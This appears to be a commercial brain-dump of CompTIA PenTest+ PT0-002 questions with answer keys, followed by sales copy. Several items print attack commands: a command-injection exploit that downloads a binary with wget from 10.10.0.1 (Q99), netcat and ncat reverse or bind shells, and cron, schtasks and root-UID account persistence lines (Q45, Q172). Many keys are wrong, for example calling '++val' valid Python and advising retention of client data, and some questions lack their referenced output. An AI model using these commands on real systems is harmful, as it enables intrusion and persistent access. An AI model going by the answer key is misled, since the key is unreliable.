

CompTIA

Exam Questions PT0-002

CompTIA PenTest+ Certification Exam



NEW QUESTION 1

Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in?

- A. HTTPS communication
- B. Public and private keys
- C. Password encryption
- D. Sessions and cookies

Answer: D

NEW QUESTION 2

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name-serial_number>. Which of the following would be the best action for the tester to take NEXT with this information?

- A. Create a custom password dictionary as preparation for password spray testing.
- B. Recommend using a password manage/vault instead of text files to store passwords securely.
- C. Recommend configuring password complexity rules in all the systems and applications.
- D. Document the unprotected file repository as a finding in the penetration-testing report.

Answer: D

NEW QUESTION 3

Which of the following describe the GREATEST concerns about using third-party open-source libraries in application code? (Choose two.)

- A. The libraries may be vulnerable
- B. The licensing of software is ambiguous
- C. The libraries' code bases could be read by anyone
- D. The provenance of code is unknown
- E. The libraries may be unsupported
- F. The libraries may break the application

Answer: AC

NEW QUESTION 4

A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?

- A. As backup in case the original documents are lost
- B. To guide them through the building entrances
- C. To validate the billing information with the client
- D. As proof in case they are discovered

Answer: D

NEW QUESTION 5

A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?

- A. Cross-site request forgery
- B. Server-side request forgery
- C. Remote file inclusion
- D. Local file inclusion

Answer: B

NEW QUESTION 6

A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?

- A. Run nmap with the -o, -p22, and -sC options set against the target
- B. Run nmap with the -sV and -p22 options set against the target
- C. Run nmap with the --script vulners option set against the target
- D. Run nmap with the -sA option set against the target

Answer: B

NEW QUESTION 7

A company that develops embedded software for the automobile industry has hired a penetration-testing team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse-engineering team prior to approval of the subcontract. Which of the following concerns would BEST support the software company's request?

- A. The reverse-engineering team may have a history of selling exploits to third parties.
- B. The reverse-engineering team may use closed-source or other non-public information feeds for its analysis.

- C. The reverse-engineering team may not instill safety protocols sufficient for the automobile industry.
- D. The reverse-engineering team will be given access to source code for analysis.

Answer: A

NEW QUESTION 8

A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST support this objective?

- A. Socat
- B. tcpdump
- C. Scapy
- D. dig

Answer: A

NEW QUESTION 9

A penetration tester obtained the following results after scanning a web server using the dirb utility:

```
...
GENERATED WORDS: 4612
---
Scanning URL: http://10.2.10.13/ ---
+
http://10.2.10.13/about (CODE:200|SIZE:1520)
+
http://10.2.10.13/home.html (CODE:200|SIZE:214)
+
http://10.2.10.13/index.html (CODE:200|SIZE:214)
+
http://10.2.10.13/info (CODE:200|SIZE:214)
...
DOWNLOADED: 4612 – FOUND: 4
Which of the following elements is MOST likely to contain useful information for the penetration tester?
```

- A. index.html
- B. about
- C. info
- D. home.html

Answer: B

NEW QUESTION 10

A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity. Which of the following is the MOST important action to take before starting this type of assessment?

- A. Ensure the client has signed the SOW.
- B. Verify the client has granted network access to the hot site.
- C. Determine if the failover environment relies on resources not owned by the client.
- D. Establish communication and escalation procedures with the client.

Answer: A

NEW QUESTION 10

Which of the following expressions in Python increase a variable val by one (Choose two.)

- A. val++
- B. +val
- C. val=(val+1)
- D. ++val
- E. val=val++
- F. val+=1

Answer: DF

NEW QUESTION 13

A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?

- A. Comma
- B. Double dash
- C. Single quote
- D. Semicolon

Answer: C

NEW QUESTION 17

A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?

- A. A signed statement of work
- B. The correct user accounts and associated passwords
- C. The expected time frame of the assessment
- D. The proper emergency contacts for the client

Answer: B

NEW QUESTION 21

A penetration tester discovers that a web server within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT?

- A. Forensically acquire the backdoor Trojan and perform attribution
- B. Utilize the backdoor in support of the engagement
- C. Continue the engagement and include the backdoor finding in the final report
- D. Inform the customer immediately about the backdoor

Answer: D

NEW QUESTION 22

You are a penetration tester running port scans on a server. INSTRUCTIONS

Part 1: Given the output, construct the command that was used to generate this output from the available options.

Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

Part 1 - nmap 192.168.2.2 -sV -O

Part 2 - Weak SMB file permissions

NEW QUESTION 26

A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?

- A. nmap -vv sUV -p 53, 123-159 10.10.1.20/24 -oA udpscan
- B. nmap -vv sUV -p 53,123,161-162 10.10.1.20/24 -oA udpscan
- C. nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan
- D. nmap -vv sUV -p 53, 122-123, 160-161 10.10.1.20/24 -oA udpscan

Answer: B

NEW QUESTION 27

Which of the following is the MOST common vulnerability associated with IoT devices that are directly connected to the Internet?

- A. Unsupported operating systems
- B. Susceptibility to DDoS attacks
- C. Inability to network
- D. The existence of default passwords

Answer: A

NEW QUESTION 31

The results of an Nmap scan are as follows:

Starting Nmap 7.80 (<https://nmap.org>) at 2021-01-24 01:10 EST Nmap scan report for (10.2.1.22)

Host is up (0.0102s latency). Not shown: 998 filtered ports Port State Service

80/tcp open http

|_http-title: 80F 22% RH 1009.1MB (text/html)

|_http-slowloris-check:

| VULNERABLE:

| Slowloris DoS Attack

| <...>

Device type: bridge|general purpose

Running (JUST GUESSING) : QEMU (95%)

OS CPE: cpe:/a:qemu:qemu

No exact OS matches found for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at <https://nmap.org/submit/>. Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds

Which of the following device types will MOST likely have a similar response? (Choose two.)

- A. Network device
- B. Public-facing web server
- C. Active Directory domain controller
- D. IoT/embedded device
- E. Exposed RDP
- F. Print queue

Answer: AB

NEW QUESTION 35

A penetration tester runs a scan against a server and obtains the following output: 21/tcp open ftp Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| 03-12-20 09:23AM 331 index.aspx

| ftp-syst:

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2012 Std 3389/tcp open ssl/ms-wbt-server

| rdp-ntlm-info:

| Target Name: WEB3

| NetBIOS_Computer_Name: WEB3

| Product_Version: 6.3.9600

|_ System_Time: 2021-01-15T11:32:06+00:00

8443/tcp open http Microsoft IIS httpd 8.5

| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Microsoft-IIS/8.5

|_http-title: IIS Windows Server

Which of the following command sequences should the penetration tester try NEXT?

- A. ftp 192.168.53.23
- B. smbclient \\\\WEB3\\IPC\$ -I 192.168.53.23 -U guest
- C. ncrack -u Administrator -P 15worst_passwords.txt -p rdp 192.168.53.23
- D. curl -X TRACE https://192.168.53.23:8443/index.aspx
- E. nmap --script vuln -sV 192.168.53.23

Answer: A

NEW QUESTION 37

A security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds?

- A. Nmap
- B. tcpdump
- C. Scapy
- D. hping3

Answer: C

Explanation:

https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating_packets/index.html

NEW QUESTION 38

A penetration tester who is doing a company-requested assessment would like to send traffic to another system using double tagging. Which of the following techniques would BEST accomplish this goal?

- A. RFID cloning
- B. RFID tagging
- C. Meta tagging
- D. Tag nesting

Answer: C

NEW QUESTION 40

Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?

- A. Acceptance by the client and sign-off on the final report
- B. Scheduling of follow-up actions and retesting
- C. Attestation of findings and delivery of the report
- D. Review of the lessons learned during the engagement

Answer: A

NEW QUESTION 45

A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?

- A. Create a one-shot systemd service to establish a reverse shell.
- B. Obtain /etc/shadow and brute force the root password.
- C. Run the nc -e /bin/sh <...> command.
- D. Move laterally to create a user account on LDAP

Answer: A

Explanation:

<https://hosakacorp.net/p/systemd-user.html>

NEW QUESTION 47

A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:

- The following request was intercepted going to the network device: GET /login HTTP/1.1

Host: 10.50.100.16

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5

Connection: keep-alive

Authorization: Basic WU9VUilOQU1FOnNIY3JldHBhc3N3b3jk

- Network management interfaces are available on the production network.
- An Nmap scan returned the following:

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

- A. Enforce enhanced password complexity requirements.
- B. Disable or upgrade SSH daemon.
- C. Disable HTTP/301 redirect configuration.
- D. Create an out-of-band network for management.
- E. Implement a better method for authentication.
- F. Eliminate network management and control interfaces.

Answer: CE

NEW QUESTION 51

A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?

- A. Reach out to the primary point of contact
- B. Try to take down the attackers
- C. Call law enforcement officials immediately
- D. Collect the proper evidence and add to the final report

Answer: A

NEW QUESTION 56

Appending string values onto another string is called:

- A. compilation
- B. connection
- C. concatenation
- D. conjunction

Answer: C

NEW QUESTION 57

A penetration tester is exploring a client's website. The tester performs a curl command and obtains the following:

* Connected to 10.2.11.144 (::1) port 80 (#0)

> GET /readmine.html HTTP/1.1

> Host: 10.2.11.144

> User-Agent: curl/7.67.0

> Accept: */*

>

* Mark bundle as not supporting multiuse

< HTTP/1.1 200

< Date: Tue, 02 Feb 2021 21:46:47 GMT

< Server: Apache/2.4.41 (Debian)

< Content-Length: 317


```
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &#8250; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
```

Which of the following tools would be BEST for the penetration tester to use to explore this site further?

- A. Burp Suite
- B. DirBuster
- C. WPScan
- D. OWASP ZAP

Answer: A

NEW QUESTION 62

A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server. Which of the following can be done with the pcap to gain access to the server?

- A. Perform vertical privilege escalation.
- B. Replay the captured traffic to the server to recreate the session.
- C. Use John the Ripper to crack the password.
- D. Utilize a pass-the-hash attack.

Answer: D

NEW QUESTION 66

A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and salary data. The penetration testers have been given an internal network starting position.

Which of the following actions, if performed, would be ethical within the scope of the assessment?

- A. Exploiting a configuration weakness in the SQL database
- B. Intercepting outbound TLS traffic
- C. Gaining access to hosts by injecting malware into the enterprise-wide update server
- D. Leveraging a vulnerability on the internal CA to issue fraudulent client certificates
- E. Establishing and maintaining persistence on the domain controller

Answer: B

NEW QUESTION 68

A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation?

- A. Implement a recurring cybersecurity awareness education program for all users.
- B. Implement multifactor authentication on all corporate applications.
- C. Restrict employees from web navigation by defining a list of unapproved sites in the corporate proxy.
- D. Implement an email security gateway to block spam and malware from email communications.

Answer: A

NEW QUESTION 71

A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test.

Which of the following describes the scope of the assessment?

- A. Partially known environment testing
- B. Known environment testing
- C. Unknown environment testing
- D. Physical environment testing

Answer: C

NEW QUESTION 74

In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company's servers. Which of the following actions would BEST enable the tester to perform phishing in a later stage of the assessment?

- A. Test for RFC-defined protocol conformance.
- B. Attempt to brute force authentication to the service.
- C. Perform a reverse DNS query and match to the service banner.
- D. Check for an open relay configuration.

Answer: C

NEW QUESTION 75

A penetration tester has been hired to perform a physical penetration test to gain access to a secure room within a client's building. Exterior reconnaissance identifies two entrances, a WiFi guest network, and multiple security cameras connected to the Internet. Which of the following tools or techniques would BEST support additional reconnaissance?

- A. Wardriving
- B. Shodan
- C. Recon-ng
- D. Aircrack-ng

Answer: C

NEW QUESTION 80

When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?

- A. Clarify the statement of work.
- B. Obtain an asset inventory from the client.
- C. Interview all stakeholders.
- D. Identify all third parties involved.

Answer: A

NEW QUESTION 85

A penetration tester ran an Nmap scan on an Internet-facing network device with the -F option and found a few open ports. To further enumerate, the tester ran another scan using the following command:

```
nmap -O -A -sS -p- 100.100.100.50
```

Nmap returned that all 65,535 ports were filtered. Which of the following MOST likely occurred on the second scan?

- A. A firewall or IPS blocked the scan.
- B. The penetration tester used unsupported flags.
- C. The edge network device was disconnected.
- D. The scan returned ICMP echo replies.

Answer: A

NEW QUESTION 86

Which of the following are the MOST important items to include in the final report for a penetration test? (Choose two.)

- A. The CVSS score of the finding
- B. The network location of the vulnerable device
- C. The vulnerability identifier
- D. The client acceptance form
- E. The name of the person who found the flaw
- F. The tool used to find the issue

Answer: CF

NEW QUESTION 88

A penetration tester needs to perform a test on a finance system that is PCI DSS v3.2.1 compliant. Which of the following is the MINIMUM frequency to complete the scan of the system?

- A. Weekly
- B. Monthly
- C. Quarterly
- D. Annually

Answer: A

NEW QUESTION 93

A company hired a penetration tester to do a social-engineering test against its employees. Although the tester did not find any employees' phone numbers on the company's website, the tester has learned the complete phone catalog was published there a few months ago. In which of the following places should the penetration tester look FIRST for the employees' numbers?

- A. Web archive
- B. GitHub
- C. File metadata
- D. Underground forums

Answer: A

NEW QUESTION 95

A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:

- Pre-engagement interaction (scoping and ROE)
- Intelligence gathering (reconnaissance)
- Threat modeling

Vulnerability analysis
Exploitation and post exploitation
Reporting

Which of the following methodologies does the client use?

- A. OWASP Web Security Testing Guide
- B. PTES technical guidelines
- C. NIST SP 800-115
- D. OSSTMM

Answer: B

NEW QUESTION 99

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:

exploit = "POST "

exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh\${IFS} -

c\${IFS}'cd\${IFS}/tmp;\${IFS}wget\${IFS}http://10.10.0.1/apache;\${IFS}chmod\${IFS}777\${IFS}apache;\${IFS}&loginUser=a&Pwd=a"

exploit += "HTTP/1.1"

Which of the following commands should the penetration tester run post-engagement?

- A. `grep -v apache ~/.bash_history > ~/.bash_history`
- B. `rm -rf /tmp/apache`
- C. `chmod 600 /tmp/apache`
- D. `taskkill /IM "apache" /F`

Answer: B

NEW QUESTION 101

User credentials were captured from a database during an assessment and cracked using rainbow tables. Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database?

- A. MD5
- B. bcrypt
- C. SHA-1
- D. PBKDF2

Answer: A

NEW QUESTION 105

A security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched version of Apache. Which of the following commands will accomplish this task?

- A. `nmap -f -sV -p80 192.168.1.20`
- B. `nmap -sS -sL -p80 192.168.1.20`
- C. `nmap -A -T4 -p80 192.168.1.20`

D. nmap -O -v -p80 192.168.1.20

Answer: C

NEW QUESTION 106

A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the highest likelihood of success?

- A. Attempting to tailgate an employee going into the client's workplace
- B. Dropping a malicious USB key with the company's logo in the parking lot
- C. Using a brute-force attack against the external perimeter to gain a foothold
- D. Performing spear phishing against employees by posing as senior management

Answer: C

NEW QUESTION 110

A compliance-based penetration test is primarily concerned with:

- A. obtaining PII from the protected network.
- B. bypassing protection on edge devices.
- C. determining the efficacy of a specific set of security standards.
- D. obtaining specific information from the protected network.

Answer: C

NEW QUESTION 115

Given the following output: User-agent:*

Disallow: /author/ Disallow: /xmlrpc.php Disallow: /wp-admin Disallow: /page/

During which of the following activities was this output MOST likely obtained?

- A. Website scraping
- B. Website cloning
- C. Domain enumeration
- D. URL enumeration

Answer: A

NEW QUESTION 120

A penetration tester who is performing a physical assessment of a company's security practices notices the company does not have any shredders inside the office building. Which of the following techniques would be BEST to use to gain confidential information?

- A. Badge cloning
- B. Dumpster diving
- C. Tailgating
- D. Shoulder surfing

Answer: B

NEW QUESTION 121

A consulting company is completing the ROE during scoping. Which of the following should be included in the ROE?

- A. Cost of the assessment
- B. Report distribution
- C. Testing restrictions
- D. Liability

Answer: B

NEW QUESTION 126

A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?

- A. Wait for the next login and perform a downgrade attack on the server.
- B. Capture traffic using Wireshark.
- C. Perform a brute-force attack over the server.
- D. Use an FTP exploit against the server.

Answer: B

NEW QUESTION 127

A penetration tester runs the following command on a system:

```
find / -user root -perm -4000 -print 2>/dev/null
```

Which of the following is the tester trying to accomplish?

- A. Set the SGID on all files in the / directory

- B. Find the /root directory on the system
- C. Find files with the SUID bit set
- D. Find files that were created during exploitation and move them to /dev/null

Answer: C

NEW QUESTION 129

A penetration tester has identified several newly released CVEs on a VoIP call manager. The scanning tool the tester used determined the possible presence of the CVEs based off the version number of the service. Which of the following methods would BEST support validation of the possible findings?

- A. Manually check the version number of the VoIP service against the CVE release
- B. Test with proof-of-concept code from an exploit database
- C. Review SIP traffic from an on-path position to look for indicators of compromise
- D. Utilize an nmap -sV scan against the service

Answer: D

NEW QUESTION 132

Which of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.)

- A. Buffer overflows
- B. Cross-site scripting
- C. Race-condition attacks
- D. Zero-day attacks
- E. Injection flaws
- F. Ransomware attacks

Answer: BE

Explanation:

A01-Injection
A02-Broken Authentication A03-Sensitive Data Exposure A04-XXE
A05-Broken Access Control A06-Security Misconfiguration A07-XSS
A08-Insecure Deserialization
A09-Using Components with Known Vulnerabilities A10-Insufficient Logging & Monitoring

NEW QUESTION 137

A penetration tester wrote the following script to be used in one engagement:

Which of the following actions will this script perform?

- A. Look for open ports.
- B. Listen for a reverse shell.
- C. Attempt to flood open ports.
- D. Create an encrypted tunnel.

Answer: A

NEW QUESTION 141

When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character combinations should be used on the first line of the script to accomplish this goal?

- A. <#
- B. <\$
- C. ##
- D. #\$
- E. #!

Answer: E

NEW QUESTION 145

A company's Chief Executive Officer has created a secondary home office and is concerned that the WiFi service being used is vulnerable to an attack. A penetration tester is hired to test the security of the WiFi's router. Which of the following is MOST vulnerable to a brute-force attack?

- A. WPS
- B. WPA2-EAP
- C. WPA-TKIP
- D. WPA2-PSK

Answer: A

NEW QUESTION 146

A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen. A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?

- A. Direct-to-origin
- B. Cross-site scripting
- C. Malware injection
- D. Credential harvesting

Answer: A

NEW QUESTION 149

A penetration tester completed a vulnerability scan against a web server and identified a single but severe vulnerability. Which of the following is the BEST way to ensure this is a true positive?

- A. Run another scanner to compare.
- B. Perform a manual test on the server.
- C. Check the results on the scanner.
- D. Look for the vulnerability online.

Answer: B

NEW QUESTION 151

During a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client's cybersecurity tools? (Choose two.)

- A. Scraping social media sites
- B. Using the WHOIS lookup tool
- C. Crawling the client's website
- D. Phishing company employees
- E. Utilizing DNS lookup tools
- F. Conducting wardriving near the client facility

Answer: BC

NEW QUESTION 155

You are a penetration tester reviewing a client's website through a web browser. INSTRUCTIONS

Review all components of the website through the browser to determine if vulnerabilities are present. Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

Graphical user interface Description automatically generated

NEW QUESTION 159

Which of the following protocols or technologies would provide in-transit confidentiality protection for emailing the final security assessment report?

- A. S/MIME
- B. FTPS
- C. DNSSEC
- D. AS2

Answer: A

NEW QUESTION 164

A company has hired a penetration tester to deploy and set up a rogue access point on the network. Which of the following is the BEST tool to use to accomplish this goal?

- A. Wireshark
- B. Aircrack-ng
- C. Kismet
- D. Wifite

Answer: B

NEW QUESTION 169

Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?

- A. Whether the cloud service provider allows the penetration tester to test the environment
- B. Whether the specific cloud services are being used by the application
- C. The geographical location where the cloud services are running
- D. Whether the country where the cloud service is based has any impeding laws

Answer: A

NEW QUESTION 172

A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?

- A. `schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe`
- B. `wmic startup get caption,command`
- C. `crontab -l; echo "@reboot sleep 200 && ncat -lvp 4242 -e /bin/bash" | crontab 2>/dev/null`
- D. `sudo useradd -ou 0 -g 0 user`

Answer: B

NEW QUESTION 174

Which of the following describes the reason why a penetration tester would run the command `sdelete mimikatz. *` on a Windows server that the tester compromised?

- A. To remove hash-cracking registry entries
- B. To remove the tester-created Mimikatz account
- C. To remove tools from the server
- D. To remove a reverse shell from the system

Answer: B

NEW QUESTION 175

A penetration tester is reviewing the following SOW prior to engaging with a client:

"Network diagrams, logical and physical asset inventory, and employees' names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client's Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner."

Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)

- A. Utilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection
- B. Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement
- C. Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client's senior leadership team
- D. Seeking help with the engagement in underground hacker forums by sharing the client's public IP address
- E. Using a software-based erase tool to wipe the client's findings from the penetration tester's laptop
- F. Retaining the SOW within the penetration tester's company for future use so the sales team can plan future engagements

Answer: CE

NEW QUESTION 177

A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial data. Which of the following should the tester do with this information to make this a successful exploit?

- A. Perform XSS.
- B. Conduct a watering-hole attack.
- C. Use BeEF.
- D. Use browser autopwn.

Answer: A

NEW QUESTION 179

A penetration tester found the following valid URL while doing a manual assessment of a web application: `http://www.example.com/product.php?id=123987`. Which of the following automated tools would be best to use NEXT to try to identify a vulnerability in this URL?

- A. SQLmap
- B. Nessus
- C. Nikto
- D. DirBuster

Answer: B

NEW QUESTION 183

Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?

- A. A quick description of the vulnerability and a high-level control to fix it
- B. Information regarding the business impact if compromised
- C. The executive summary and information regarding the testing company
- D. The rules of engagement from the assessment

Answer: B

NEW QUESTION 187

A penetration tester performs the following command: `curl -I -http2 https://www.comptia.org`
Which of the following snippets of output will the tester MOST likely receive?

- A. Option A
- B. Option B
- C. Option C
- D. Option D

Answer: A

NEW QUESTION 191

An assessment has been completed, and all reports and evidence have been turned over to the client. Which of the following should be done NEXT to ensure the confidentiality of the client's information?

- A. Follow the established data retention and destruction process
- B. Report any findings to regulatory oversight groups
- C. Publish the findings after the client reviews the report
- D. Encrypt and store any client information for future analysis

Answer: D

NEW QUESTION 196

.....

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

PT0-002 Practice Exam Features:

- * PT0-002 Questions and Answers Updated Frequently
- * PT0-002 Practice Questions Verified by Expert Senior Certified Staff
- * PT0-002 Most Realistic Questions that Guarantee you a Pass on Your First Try
- * PT0-002 Practice Test Questions in Multiple Choice Formats and Updates for 1 Year

100% Actual & Verified — Instant Download, Please Click
[Order The PT0-002 Practice Test Here](#)